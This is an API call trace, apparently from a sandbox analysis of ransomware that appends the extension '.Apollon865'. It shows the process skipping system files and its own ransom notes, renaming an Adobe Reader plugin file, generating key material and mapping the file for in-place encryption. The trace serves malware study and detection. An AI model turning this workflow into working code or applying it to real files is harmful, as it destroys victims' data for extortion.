	[0057.739] lstrcmpiW (lpString1="e.CHT", lpString2="accft") returned 1
	[0057.739] lstrlenW (lpString="adb") returned 3
	[0057.739] lstrcmpiW (lpString1="CHT", lpString2="adb") returned 1
	[0057.739] lstrlenW (lpString="adb") returned 3
	[0057.739] lstrcmpiW (lpString1="CHT", lpString2="adb") returned 1
	[0057.739] lstrlenW (lpString="ade") returned 3
	[0057.739] lstrcmpiW (lpString1="CHT", lpString2="ade") returned 1
	[0057.739] lstrlenW (lpString="adf") returned 3
	[0057.739] lstrcmpiW (lpString1="CHT", lpString2="adf") returned 1
	[0057.739] lstrlenW (lpString="adn") returned 3
	[0057.739] lstrcmpiW (lpString1="CHT", lpString2="adn") returned 1
	[0057.739] lstrlenW (lpString="adp") returned 3
	[0057.739] lstrcmpiW (lpString1="CHT", lpString2="adp") returned 1
	[0057.739] lstrlenW (lpString="alf") returned 3
	[0057.739] lstrcmpiW (lpString1="CHT", lpString2="alf") returned 1
	[0057.739] lstrlenW (lpString="ask") returned 3
	[0057.739] lstrcmpiW (lpString1="CHT", lpString2="ask") returned 1
	[0057.740] lstrlenW (lpString="btr") returned 3
	[0057.740] lstrcmpiW (lpString1="CHT", lpString2="btr") returned 1
	[0057.740] lstrlenW (lpString="cat") returned 3
	[0057.740] lstrcmpiW (lpString1="CHT", lpString2="cat") returned 1
	[0057.740] lstrlenW (lpString="cdb") returned 3
	[0057.740] lstrcmpiW (lpString1="CHT", lpString2="cdb") returned 1
	[0057.740] lstrlenW (lpString="ckp") returned 3
	[0057.740] lstrcmpiW (lpString1="CHT", lpString2="ckp") returned -1
	[0057.740] lstrlenW (lpString="cma") returned 3
	[0057.740] lstrcmpiW (lpString1="CHT", lpString2="cma") returned -1
	[0057.740] lstrlenW (lpString="cpd") returned 3
	[0057.740] lstrcmpiW (lpString1="CHT", lpString2="cpd") returned -1
	[0057.740] lstrlenW (lpString="dacpac") returned 6
	[0057.740] lstrcmpiW (lpString1="me.CHT", lpString2="dacpac") returned 1
	[0057.740] lstrlenW (lpString="dad") returned 3
	[0057.740] lstrcmpiW (lpString1="CHT", lpString2="dad") returned -1
	[0057.740] lstrlenW (lpString="dadiagrams") returned 10
	[0057.740] lstrcmpiW (lpString1="ckTime.CHT", lpString2="dadiagrams") returned -1
	[0057.740] lstrlenW (lpString="daschema") returned 8
	[0057.740] lstrcmpiW (lpString1="Time.CHT", lpString2="daschema") returned 1
	[0057.740] lstrlenW (lpString="db-journal") returned 10
	[0057.740] lstrcmpiW (lpString1="ckTime.CHT", lpString2="db-journal") returned -1
	[0057.740] lstrlenW (lpString="db-shm") returned 6
	[0057.740] lstrcmpiW (lpString1="me.CHT", lpString2="db-shm") returned 1
	[0057.740] lstrlenW (lpString="db-wal") returned 6
	[0057.740] lstrcmpiW (lpString1="me.CHT", lpString2="db-wal") returned 1
	[0057.740] lstrlenW (lpString="dbc") returned 3
	[0057.740] lstrcmpiW (lpString1="CHT", lpString2="dbc") returned -1
	[0057.740] lstrlenW (lpString="dbs") returned 3
	[0057.740] lstrcmpiW (lpString1="CHT", lpString2="dbs") returned -1
	[0057.740] lstrlenW (lpString="dbt") returned 3
	[0057.740] lstrcmpiW (lpString1="CHT", lpString2="dbt") returned -1
	[0057.740] lstrlenW (lpString="dbv") returned 3
	[0057.740] lstrcmpiW (lpString1="CHT", lpString2="dbv") returned -1
	[0057.740] lstrlenW (lpString="dbx") returned 3
	[0057.740] lstrcmpiW (lpString1="CHT", lpString2="dbx") returned -1
	[0057.741] lstrlenW (lpString="dcb") returned 3
	[0057.741] lstrcmpiW (lpString1="CHT", lpString2="dcb") returned -1
	[0057.741] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="QuickTime.DAN" | out: lpString1="QuickTime.DAN") returned="QuickTime.DAN"
	[0057.741] lstrlenW (lpString="QuickTime.DAN") returned 13
	[0057.741] lstrlenW (lpString="Apollon865") returned 10
	[0057.741] lstrcmpiW (lpString1="ckTime.DAN", lpString2="Apollon865") returned 1
	[0057.741] lstrlenW (lpString=".dll") returned 4
	[0057.741] lstrcmpiW (lpString1="QuickTime.DAN", lpString2=".dll") returned 1
	[0057.741] lstrlenW (lpString=".lnk") returned 4
	[0057.741] lstrcmpiW (lpString1="QuickTime.DAN", lpString2=".lnk") returned 1
	[0057.741] lstrlenW (lpString=".ini") returned 4
	[0057.741] lstrcmpiW (lpString1="QuickTime.DAN", lpString2=".ini") returned 1
	[0057.741] lstrlenW (lpString=".sys") returned 4
	[0057.741] lstrcmpiW (lpString1="QuickTime.DAN", lpString2=".sys") returned 1
	[0057.741] lstrlenW (lpString="QuickTime.DAN") returned 13
	[0057.741] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="QuickTime.DEU" | out: lpString1="QuickTime.DEU") returned="QuickTime.DEU"
	[0057.741] lstrlenW (lpString="QuickTime.DEU") returned 13
	[0057.741] lstrlenW (lpString="Apollon865") returned 10
	[0057.741] lstrcmpiW (lpString1="ckTime.DEU", lpString2="Apollon865") returned 1
	[0057.741] lstrlenW (lpString=".dll") returned 4
	[0057.741] lstrcmpiW (lpString1="QuickTime.DEU", lpString2=".dll") returned 1
	[0057.741] lstrlenW (lpString=".lnk") returned 4
	[0057.741] lstrcmpiW (lpString1="QuickTime.DEU", lpString2=".lnk") returned 1
	[0057.741] lstrlenW (lpString=".ini") returned 4
	[0057.741] lstrcmpiW (lpString1="QuickTime.DEU", lpString2=".ini") returned 1
	[0057.741] lstrlenW (lpString=".sys") returned 4
	[0057.741] lstrcmpiW (lpString1="QuickTime.DEU", lpString2=".sys") returned 1
	[0057.741] lstrlenW (lpString="QuickTime.DEU") returned 13
	[0057.742] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="QuickTime.ESP" | out: lpString1="QuickTime.ESP") returned="QuickTime.ESP"
	[0057.742] lstrlenW (lpString="QuickTime.ESP") returned 13
	[0057.742] lstrlenW (lpString="Apollon865") returned 10
	[0057.742] lstrcmpiW (lpString1="ckTime.ESP", lpString2="Apollon865") returned 1
	[0057.742] lstrlenW (lpString=".dll") returned 4
	[0057.742] lstrcmpiW (lpString1="QuickTime.ESP", lpString2=".dll") returned 1
	[0057.742] lstrlenW (lpString=".lnk") returned 4
	[0057.742] lstrcmpiW (lpString1="QuickTime.ESP", lpString2=".lnk") returned 1
	[0057.742] lstrlenW (lpString=".ini") returned 4
	[0057.742] lstrcmpiW (lpString1="QuickTime.ESP", lpString2=".ini") returned 1
	[0057.742] lstrlenW (lpString=".sys") returned 4
	[0057.742] lstrcmpiW (lpString1="QuickTime.ESP", lpString2=".sys") returned 1
	[0057.742] lstrlenW (lpString="QuickTime.ESP") returned 13
	[0057.742] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="QuickTime.EUQ" | out: lpString1="QuickTime.EUQ") returned="QuickTime.EUQ"
	[0057.742] lstrlenW (lpString="QuickTime.EUQ") returned 13
	[0057.742] lstrlenW (lpString="Apollon865") returned 10
	[0057.742] lstrcmpiW (lpString1="ckTime.EUQ", lpString2="Apollon865") returned 1
	[0057.742] lstrlenW (lpString=".dll") returned 4
	[0057.742] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2=".dll") returned 1
	[0057.742] lstrlenW (lpString=".lnk") returned 4
	[0057.742] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2=".lnk") returned 1
	[0057.742] lstrlenW (lpString=".ini") returned 4
	[0057.742] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2=".ini") returned 1
	[0057.742] lstrlenW (lpString=".sys") returned 4
	[0057.742] lstrcmpiW (lpString1="QuickTime.EUQ", lpString2=".sys") returned 1
	[0057.742] lstrlenW (lpString="QuickTime.EUQ") returned 13
	[0057.742] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="QuickTime.FRA" | out: lpString1="QuickTime.FRA") returned="QuickTime.FRA"
	[0057.742] lstrlenW (lpString="QuickTime.FRA") returned 13
	[0057.742] lstrlenW (lpString="Apollon865") returned 10
	[0057.742] lstrcmpiW (lpString1="ckTime.FRA", lpString2="Apollon865") returned 1
	[0057.742] lstrlenW (lpString=".dll") returned 4
	[0057.743] lstrcmpiW (lpString1="QuickTime.FRA", lpString2=".dll") returned 1
	[0057.743] lstrlenW (lpString=".lnk") returned 4
	[0057.743] lstrcmpiW (lpString1="QuickTime.FRA", lpString2=".lnk") returned 1
	[0057.743] lstrlenW (lpString=".ini") returned 4
	[0057.743] lstrcmpiW (lpString1="QuickTime.FRA", lpString2=".ini") returned 1
	[0057.743] lstrlenW (lpString=".sys") returned 4
	[0057.743] lstrcmpiW (lpString1="QuickTime.FRA", lpString2=".sys") returned 1
	[0057.743] lstrlenW (lpString="QuickTime.FRA") returned 13
	[0057.743] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="QuickTime.ITA" | out: lpString1="QuickTime.ITA") returned="QuickTime.ITA"
	[0057.743] lstrlenW (lpString="QuickTime.ITA") returned 13
	[0057.743] lstrlenW (lpString="Apollon865") returned 10
	[0057.743] lstrcmpiW (lpString1="ckTime.ITA", lpString2="Apollon865") returned 1
	[0057.743] lstrlenW (lpString=".dll") returned 4
	[0057.743] lstrcmpiW (lpString1="QuickTime.ITA", lpString2=".dll") returned 1
	[0057.743] lstrlenW (lpString=".lnk") returned 4
	[0057.743] lstrcmpiW (lpString1="QuickTime.ITA", lpString2=".lnk") returned 1
	[0057.743] lstrlenW (lpString=".ini") returned 4
	[0057.743] lstrcmpiW (lpString1="QuickTime.ITA", lpString2=".ini") returned 1
	[0057.743] lstrlenW (lpString=".sys") returned 4
	[0057.743] lstrcmpiW (lpString1="QuickTime.ITA", lpString2=".sys") returned 1
	[0057.743] lstrlenW (lpString="QuickTime.ITA") returned 13
	[0057.743] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="QuickTime.JPN" | out: lpString1="QuickTime.JPN") returned="QuickTime.JPN"
	[0057.743] lstrlenW (lpString="QuickTime.JPN") returned 13
	[0057.743] lstrlenW (lpString="Apollon865") returned 10
	[0057.743] lstrcmpiW (lpString1="ckTime.JPN", lpString2="Apollon865") returned 1
	[0057.743] lstrlenW (lpString=".dll") returned 4
	[0057.743] lstrcmpiW (lpString1="QuickTime.JPN", lpString2=".dll") returned 1
	[0057.743] lstrlenW (lpString=".lnk") returned 4
	[0057.743] lstrcmpiW (lpString1="QuickTime.JPN", lpString2=".lnk") returned 1
	[0057.743] lstrlenW (lpString=".ini") returned 4
	[0057.743] lstrcmpiW (lpString1="QuickTime.JPN", lpString2=".ini") returned 1
	[0057.743] lstrlenW (lpString=".sys") returned 4
	[0057.744] lstrcmpiW (lpString1="QuickTime.JPN", lpString2=".sys") returned 1
	[0057.744] lstrlenW (lpString="QuickTime.JPN") returned 13
	[0057.744] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="QuickTime.KOR" | out: lpString1="QuickTime.KOR") returned="QuickTime.KOR"
	[0057.744] lstrlenW (lpString="QuickTime.KOR") returned 13
	[0057.744] lstrlenW (lpString="Apollon865") returned 10
	[0057.744] lstrcmpiW (lpString1="ckTime.KOR", lpString2="Apollon865") returned 1
	[0057.744] lstrlenW (lpString=".dll") returned 4
	[0057.744] lstrcmpiW (lpString1="QuickTime.KOR", lpString2=".dll") returned 1
	[0057.744] lstrlenW (lpString=".lnk") returned 4
	[0057.744] lstrcmpiW (lpString1="QuickTime.KOR", lpString2=".lnk") returned 1
	[0057.744] lstrlenW (lpString=".ini") returned 4
	[0057.744] lstrcmpiW (lpString1="QuickTime.KOR", lpString2=".ini") returned 1
	[0057.744] lstrlenW (lpString=".sys") returned 4
	[0057.744] lstrcmpiW (lpString1="QuickTime.KOR", lpString2=".sys") returned 1
	[0057.744] lstrlenW (lpString="QuickTime.KOR") returned 13
	[0057.744] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="QuickTime.mpp" | out: lpString1="QuickTime.mpp") returned="QuickTime.mpp"
	[0057.744] lstrlenW (lpString="QuickTime.mpp") returned 13
	[0057.744] lstrlenW (lpString="Apollon865") returned 10
	[0057.744] lstrcmpiW (lpString1="ckTime.mpp", lpString2="Apollon865") returned 1
	[0057.744] lstrlenW (lpString=".dll") returned 4
	[0057.744] lstrcmpiW (lpString1="QuickTime.mpp", lpString2=".dll") returned 1
	[0057.744] lstrlenW (lpString=".lnk") returned 4
	[0057.744] lstrcmpiW (lpString1="QuickTime.mpp", lpString2=".lnk") returned 1
	[0057.744] lstrlenW (lpString=".ini") returned 4
	[0057.744] lstrcmpiW (lpString1="QuickTime.mpp", lpString2=".ini") returned 1
	[0057.744] lstrlenW (lpString=".sys") returned 4
	[0057.744] lstrcmpiW (lpString1="QuickTime.mpp", lpString2=".sys") returned 1
	[0057.744] lstrlenW (lpString="QuickTime.mpp") returned 13
	[0057.744] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="QuickTime.NLD" | out: lpString1="QuickTime.NLD") returned="QuickTime.NLD"
	[0057.745] lstrlenW (lpString="QuickTime.NLD") returned 13
	[0057.745] lstrlenW (lpString="Apollon865") returned 10
	[0057.745] lstrcmpiW (lpString1="ckTime.NLD", lpString2="Apollon865") returned 1
	[0057.745] lstrlenW (lpString=".dll") returned 4
	[0057.745] lstrcmpiW (lpString1="QuickTime.NLD", lpString2=".dll") returned 1
	[0057.745] lstrlenW (lpString=".lnk") returned 4
	[0057.745] lstrcmpiW (lpString1="QuickTime.NLD", lpString2=".lnk") returned 1
	[0057.745] lstrlenW (lpString=".ini") returned 4
	[0057.745] lstrcmpiW (lpString1="QuickTime.NLD", lpString2=".ini") returned 1
	[0057.745] lstrlenW (lpString=".sys") returned 4
	[0057.745] lstrcmpiW (lpString1="QuickTime.NLD", lpString2=".sys") returned 1
	[0057.745] lstrlenW (lpString="QuickTime.NLD") returned 13
	[0057.745] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="QuickTime.NOR" | out: lpString1="QuickTime.NOR") returned="QuickTime.NOR"
	[0057.745] lstrlenW (lpString="QuickTime.NOR") returned 13
	[0057.745] lstrlenW (lpString="Apollon865") returned 10
	[0057.745] lstrcmpiW (lpString1="ckTime.NOR", lpString2="Apollon865") returned 1
	[0057.745] lstrlenW (lpString=".dll") returned 4
	[0057.745] lstrcmpiW (lpString1="QuickTime.NOR", lpString2=".dll") returned 1
	[0057.745] lstrlenW (lpString=".lnk") returned 4
	[0057.745] lstrcmpiW (lpString1="QuickTime.NOR", lpString2=".lnk") returned 1
	[0057.745] lstrlenW (lpString=".ini") returned 4
	[0057.745] lstrcmpiW (lpString1="QuickTime.NOR", lpString2=".ini") returned 1
	[0057.745] lstrlenW (lpString=".sys") returned 4
	[0057.745] lstrcmpiW (lpString1="QuickTime.NOR", lpString2=".sys") returned 1
	[0057.745] lstrlenW (lpString="QuickTime.NOR") returned 13
	[0057.745] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="QuickTime.PTB" | out: lpString1="QuickTime.PTB") returned="QuickTime.PTB"
	[0057.745] lstrlenW (lpString="QuickTime.PTB") returned 13
	[0057.745] lstrlenW (lpString="Apollon865") returned 10
	[0057.745] lstrcmpiW (lpString1="ckTime.PTB", lpString2="Apollon865") returned 1
	[0057.745] lstrlenW (lpString=".dll") returned 4
	[0057.745] lstrcmpiW (lpString1="QuickTime.PTB", lpString2=".dll") returned 1
	[0057.746] lstrlenW (lpString=".lnk") returned 4
	[0057.746] lstrcmpiW (lpString1="QuickTime.PTB", lpString2=".lnk") returned 1
	[0057.746] lstrlenW (lpString=".ini") returned 4
	[0057.746] lstrcmpiW (lpString1="QuickTime.PTB", lpString2=".ini") returned 1
	[0057.746] lstrlenW (lpString=".sys") returned 4
	[0057.746] lstrcmpiW (lpString1="QuickTime.PTB", lpString2=".sys") returned 1
	[0057.746] lstrlenW (lpString="QuickTime.PTB") returned 13
	[0057.746] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="QuickTime.SUO" | out: lpString1="QuickTime.SUO") returned="QuickTime.SUO"
	[0057.746] lstrlenW (lpString="QuickTime.SUO") returned 13
	[0057.746] lstrlenW (lpString="Apollon865") returned 10
	[0057.746] lstrcmpiW (lpString1="ckTime.SUO", lpString2="Apollon865") returned 1
	[0057.746] lstrlenW (lpString=".dll") returned 4
	[0057.746] lstrcmpiW (lpString1="QuickTime.SUO", lpString2=".dll") returned 1
	[0057.746] lstrlenW (lpString=".lnk") returned 4
	[0057.746] lstrcmpiW (lpString1="QuickTime.SUO", lpString2=".lnk") returned 1
	[0057.746] lstrlenW (lpString=".ini") returned 4
	[0057.746] lstrcmpiW (lpString1="QuickTime.SUO", lpString2=".ini") returned 1
	[0057.746] lstrlenW (lpString=".sys") returned 4
	[0057.746] lstrcmpiW (lpString1="QuickTime.SUO", lpString2=".sys") returned 1
	[0057.746] lstrlenW (lpString="QuickTime.SUO") returned 13
	[0057.746] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="QuickTime.SVE" | out: lpString1="QuickTime.SVE") returned="QuickTime.SVE"
	[0057.746] lstrlenW (lpString="QuickTime.SVE") returned 13
	[0057.746] lstrlenW (lpString="Apollon865") returned 10
	[0057.746] lstrcmpiW (lpString1="ckTime.SVE", lpString2="Apollon865") returned 1
	[0057.746] lstrlenW (lpString=".dll") returned 4
	[0057.746] lstrcmpiW (lpString1="QuickTime.SVE", lpString2=".dll") returned 1
	[0057.746] lstrlenW (lpString=".lnk") returned 4
	[0057.746] lstrcmpiW (lpString1="QuickTime.SVE", lpString2=".lnk") returned 1
	[0057.746] lstrlenW (lpString=".ini") returned 4
	[0057.746] lstrcmpiW (lpString1="QuickTime.SVE", lpString2=".ini") returned 1
	[0057.746] lstrlenW (lpString=".sys") returned 4
	[0057.747] lstrcmpiW (lpString1="QuickTime.SVE", lpString2=".sys") returned 1
	[0057.747] lstrlenW (lpString="QuickTime.SVE") returned 13
	[0057.747] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="WindowsMedia.CAT" | out: lpString1="WindowsMedia.CAT") returned="WindowsMedia.CAT"
	[0057.747] lstrlenW (lpString="WindowsMedia.CAT") returned 16
	[0057.747] lstrlenW (lpString="Apollon865") returned 10
	[0057.747] lstrcmpiW (lpString1="sMedia.CAT", lpString2="Apollon865") returned 1
	[0057.747] lstrlenW (lpString=".dll") returned 4
	[0057.747] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2=".dll") returned 1
	[0057.747] lstrlenW (lpString=".lnk") returned 4
	[0057.747] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2=".lnk") returned 1
	[0057.747] lstrlenW (lpString=".ini") returned 4
	[0057.747] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2=".ini") returned 1
	[0057.747] lstrlenW (lpString=".sys") returned 4
	[0057.747] lstrcmpiW (lpString1="WindowsMedia.CAT", lpString2=".sys") returned 1
	[0057.747] lstrlenW (lpString="WindowsMedia.CAT") returned 16
	[0057.747] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CAT.Apollon865") returned 99
	[0057.747] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.cat.apollon865"), dwFlags=0x1) returned 1
	[0057.748] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0057.749] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2560) returned 1
	[0057.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0057.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0057.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0057.749] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0057.750] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0057.750] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.750] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x15c
	[0057.752] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x120000
	[0057.753] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0057.753] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0057.753] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ac68
	[0057.754] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ac68 | out: hHeap=0x580000) returned 1
	[0057.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0057.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0057.754] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0057.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0057.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0057.754] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0057.754] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0057.754] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0057.754] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0057.754] CloseHandle (hObject=0x15c) returned 1
	[0057.754] CloseHandle (hObject=0x154) returned 1
	[0057.754] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0057.754] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0057.754] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0057.754] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsMedia.CHS", cAlternateFileName="WINDOW~1.CHS")) returned 1
	[0057.755] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.755] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="Apollon865.txt.exe") returned 1
	[0057.755] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2=".") returned 1
	[0057.755] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="..") returned 1
	[0057.755] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="windows") returned 1
	[0057.755] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="bootmgr") returned 1
	[0057.755] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="temp") returned 1
	[0057.755] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="pagefile.sys") returned 1
	[0057.755] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="boot") returned 1
	[0057.755] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="ids.txt") returned 1
	[0057.755] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="ntuser.dat") returned 1
	[0057.755] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="perflogs") returned 1
	[0057.755] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2="MSBuild") returned 1
	[0057.755] lstrlenW (lpString="WindowsMedia.CHS") returned 16
	[0057.755] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CAT") returned 88
	[0057.755] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="WindowsMedia.CHS" | out: lpString1="WindowsMedia.CHS") returned="WindowsMedia.CHS"
	[0057.755] lstrlenW (lpString="WindowsMedia.CHS") returned 16
	[0057.755] lstrlenW (lpString="Apollon865") returned 10
	[0057.755] lstrcmpiW (lpString1="sMedia.CHS", lpString2="Apollon865") returned 1
	[0057.755] lstrlenW (lpString=".dll") returned 4
	[0057.755] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2=".dll") returned 1
	[0057.755] lstrlenW (lpString=".lnk") returned 4
	[0057.755] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2=".lnk") returned 1
	[0057.755] lstrlenW (lpString=".ini") returned 4
	[0057.755] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2=".ini") returned 1
	[0057.755] lstrlenW (lpString=".sys") returned 4
	[0057.755] lstrcmpiW (lpString1="WindowsMedia.CHS", lpString2=".sys") returned 1
	[0057.755] lstrlenW (lpString="WindowsMedia.CHS") returned 16
	[0057.755] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="WindowsMedia.CHT" | out: lpString1="WindowsMedia.CHT") returned="WindowsMedia.CHT"
	[0057.755] lstrlenW (lpString="WindowsMedia.CHT") returned 16
	[0057.755] lstrlenW (lpString="Apollon865") returned 10
	[0057.756] lstrcmpiW (lpString1="sMedia.CHT", lpString2="Apollon865") returned 1
	[0057.756] lstrlenW (lpString=".dll") returned 4
	[0057.756] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2=".dll") returned 1
	[0057.756] lstrlenW (lpString=".lnk") returned 4
	[0057.756] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2=".lnk") returned 1
	[0057.756] lstrlenW (lpString=".ini") returned 4
	[0057.756] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2=".ini") returned 1
	[0057.756] lstrlenW (lpString=".sys") returned 4
	[0057.756] lstrcmpiW (lpString1="WindowsMedia.CHT", lpString2=".sys") returned 1
	[0057.756] lstrlenW (lpString="WindowsMedia.CHT") returned 16
	[0057.756] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="WindowsMedia.DAN" | out: lpString1="WindowsMedia.DAN") returned="WindowsMedia.DAN"
	[0057.756] lstrlenW (lpString="WindowsMedia.DAN") returned 16
	[0057.756] lstrlenW (lpString="Apollon865") returned 10
	[0057.756] lstrcmpiW (lpString1="sMedia.DAN", lpString2="Apollon865") returned 1
	[0057.756] lstrlenW (lpString=".dll") returned 4
	[0057.756] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2=".dll") returned 1
	[0057.756] lstrlenW (lpString=".lnk") returned 4
	[0057.756] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2=".lnk") returned 1
	[0057.756] lstrlenW (lpString=".ini") returned 4
	[0057.756] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2=".ini") returned 1
	[0057.756] lstrlenW (lpString=".sys") returned 4
	[0057.756] lstrcmpiW (lpString1="WindowsMedia.DAN", lpString2=".sys") returned 1
	[0057.756] lstrlenW (lpString="WindowsMedia.DAN") returned 16
	[0057.756] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="WindowsMedia.DEU" | out: lpString1="WindowsMedia.DEU") returned="WindowsMedia.DEU"
	[0057.756] lstrlenW (lpString="WindowsMedia.DEU") returned 16
	[0057.756] lstrlenW (lpString="Apollon865") returned 10
	[0057.756] lstrcmpiW (lpString1="sMedia.DEU", lpString2="Apollon865") returned 1
	[0057.756] lstrlenW (lpString=".dll") returned 4
	[0057.756] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2=".dll") returned 1
	[0057.756] lstrlenW (lpString=".lnk") returned 4
